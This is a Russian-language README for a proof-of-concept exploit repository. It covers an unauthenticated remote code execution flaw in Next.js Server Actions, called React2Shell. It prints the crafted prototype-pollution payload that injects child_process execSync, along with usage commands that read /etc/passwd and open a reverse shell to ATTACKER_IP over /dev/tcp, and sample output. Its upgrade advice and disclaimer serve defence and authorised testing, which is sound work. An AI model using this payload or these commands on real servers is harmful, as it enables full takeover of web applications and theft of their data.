CVE-2025-55182 / CVE-2025-66478 (React2Shell) - Концептуальное доказательство удаленного выполнения кода (RCE) в Next.js

Критическая уязвимость в Next.js Server Actions, позволяющая неаутентифицированное удаленное выполнение кода через десериализацию React Flight Protocol

Обзор

Этот репозиторий содержит Концептуальное доказательство (PoC) критической уязвимости RCE, затрагивающей приложения Next.js, использующие Server Actions (React Server Functions).

Описание уязвимости

Уязвимость существует в том, как React Flight Protocol десериализует блоки при обработке Server Actions. Злоумышленник может использовать прототипное загрязнение через специально созданные данные формы, чтобы:

1. Получить доступ к конструктору Function через обход цепочки прототипов (__proto__)
2. Выполнить произвольный JavaScript-код на сервере
3. Достичь полного удаленного выполнения кода без аутентификации

Это происходит до какой-либо проверки серверного действия, что делает уязвимость эксплуатируемой в любом приложении Next.js с включенными Server Actions.

Затронутые приложения

Любое приложение Next.js уязвимо, если:

• Использует Server Actions (по умолчанию в App Router)
• Запущено на Next.js 15.x или 16.x (или 14.3.0-canary.77+)
• Отсутствуют специальные меры защиты

Использование

Требования

pip install requests

Запуск PoC

python3 poc.py <TARGET_URL> "<COMMAND>"

Примеры

# Test command execution
python3 poc.py http://localhost:3000 "id"

# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"

# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Пример вывода

$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

Вывод команды отображается в поле digest.

Технические детали

Эксплойт использует механизм разрешения блоков протокола React Flight:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

Цепочка атаки:

1. Обход прототипов через $1:__proto__:then
2. Доступ к конструктору Function через $1:constructor:constructor
3. Внедрение произвольного кода через поле _prefix
4. Выполнение кода во время десериализации (до аутентификации)

Меры защиты

Немедленно обновитесь:

npm install next@latest
# or
pnpm update next

Исправленные версии: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

Примечание: Next.js 14.x стабильные и 13.x НЕ уязвимы.

Отказ от ответственности

⚠️ Этот PoC предназначен только для образовательных целей и авторизованного тестирования безопасности.

Несанкционированный доступ к компьютерным системам незаконен. Используйте этот инструмент только на системах, которыми вы владеете или на тестирование которых имеете явное разрешение. Авторы не несут ответственности за любое неправомерное использование.

Благодарности

Основано на оригинальном исследовании @msanft. Вся заслуга в обнаружении уязвимости и создании первоначального PoC принадлежит им.

Ссылки

• Оригинальное исследование CVE-2025-55182
• Официальное уведомление Next.js о CVE
• Анализ React2Shell от Wiz Research
• React Flight Protocol
• NIST NVD - CVE-2025-55182

Ключевые слова

Next.js RCE, Next.js vulnerability, CVE-2025-55182, CVE-2025-66478, React2Shell, React Server Components exploit, Next.js Server Actions RCE, prototype pollution Next.js, React Flight Protocol vulnerability, Next.js security, Next.js remote code execution, Next.js exploit PoC, Server Actions vulnerability, React RSC RCE